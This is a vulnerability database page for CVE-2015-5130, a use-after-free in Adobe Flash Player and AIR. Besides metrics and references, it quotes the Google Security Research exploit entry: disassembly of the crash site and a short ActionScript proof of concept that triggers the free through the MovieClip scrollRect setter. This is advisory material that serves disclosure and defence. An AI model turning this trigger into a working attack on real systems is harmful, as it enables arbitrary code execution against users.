CVE-2015-5130 : Detail

CVE-2015-5130

53.45%V3
Network
2015-08-13
23h00 +00:00
2018-01-04
18h57 +00:00
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CVE Descriptions

Use-after-free vulnerability in Adobe Flash Player before 18.0.0.232 on Windows and OS X and before 11.2.202.508 on Linux, Adobe AIR before 18.0.0.199, Adobe AIR SDK before 18.0.0.199, and Adobe AIR SDK & Compiler before 18.0.0.199 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-5127, CVE-2015-5134, CVE-2015-5539, CVE-2015-5540, CVE-2015-5550, CVE-2015-5551, CVE-2015-5556, CVE-2015-5557, CVE-2015-5559, CVE-2015-5561, CVE-2015-5563, CVE-2015-5564, and CVE-2015-5565.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 37854

Publication date : 2015-08-18
22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

Source: https://code.google.com/p/google-security-research/issues/detail?id=359&can=1&q=label%3AProduct-Flash%20modified-after%3A2015%2F8%2F17&sort=id [Deadline tracking for https://code.google.com/p/chromium/issues/detail?id=482521] --- VULNERABILITY DETAILS When setting the scrollRect attribute of a MovieClip in AS2 with a custom Rectangle it is possible to free the MovieClip while a reference remains in the stack VERSION Chrome Version: Chrome stable 42.0.2311.90, Flash 17.0.0.169 Operating System: [Win 7 SP1] REPRODUCTION CASE That code targets the MovieClip.scrollRect property. While setting this attribute with a custom Rectangle, it is possible to trigger a use after free by freeing the targeted MovieClip. Creating a TextField with the same depth of the targeted MovieClip is enough to free an object and have Flash crash. These lines come from flashplayer standalone 17.0.0.169: .text:00597F45 loc_597F45: .text:00597F45 cmp eax, 6 .text:00597F48 jnz loc_597FE5 .text:00597F4E mov ecx, esi ; esi points to the MovieClip object .text:00597F50 call sub_40C1ED .text:00597F55 add eax, 30Ch .text:00597F5A or dword ptr [eax], 8 .text:00597F5D mov eax, [ebx] .text:00597F5F mov byte ptr [eax+82Ch], 1 .text:00597F66 mov ecx, [ebx] .text:00597F68 lea eax, [ebp+74h+var_1C0] .text:00597F6E push eax .text:00597F6F push dword ptr [ebx+0Ch] .text:00597F72 call xfetchRectangleProperties ; get the Rectangle properties, and execute some AS2 .text:00597F77 test al, al .text:00597F79 jz loc_598274 .text:00597F7F mov edi, [ebp+74h+var_1C0] .text:00597F85 mov ecx, esi .text:00597F87 imul edi, 14h .text:00597F8A call sub_40C1ED ; reference freed memory and return a bad pointer .text:00597F8F mov [eax+310h], edi ; crash here, eax = 0 Poc (compile with Flash CS5.5): import flash.geom.Rectangle var o2 = {} o2.valueOf = function () { _global.mc.createTextField("newtf",1,1,1,2,3) return 7 } var o = {x:o2,y:0,width:4,height:5} _global.mc = this var newmc:MovieClip = this.createEmptyMovieClip("newmc",1) newmc.scrollRect = o --- Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37854.zip

Products Mentioned

Configuraton 0

Opensuse>>Evergreen >> Version 11.4

Configuraton 0

Adobe>>Flash_player >> Version To (including) 11.2.202.491

Linux>>Linux_kernel >> Version -

Configuraton 0

Adobe>>Air >> Version To (including) 18.0.0.180

Adobe>>Air_sdk >> Version To (including) 18.0.0.180

Adobe>>Air_sdk_\&_compiler >> Version To (including) 18.0.0.180

Configuraton 0

Adobe>>Flash_player >> Version To (including) 18.0.0.209

Apple>>Mac_os_x >> Version -

Microsoft>>Windows >> Version -

References

https://security.gentoo.org/glsa/201508-01
Tags : vendor-advisory, x_refsource_GENTOO
http://www.securitytracker.com/id/1033235
Tags : vdb-entry, x_refsource_SECTRACK
http://www.securityfocus.com/bid/76288
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/37854/
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2015-1603.html
Tags : vendor-advisory, x_refsource_REDHAT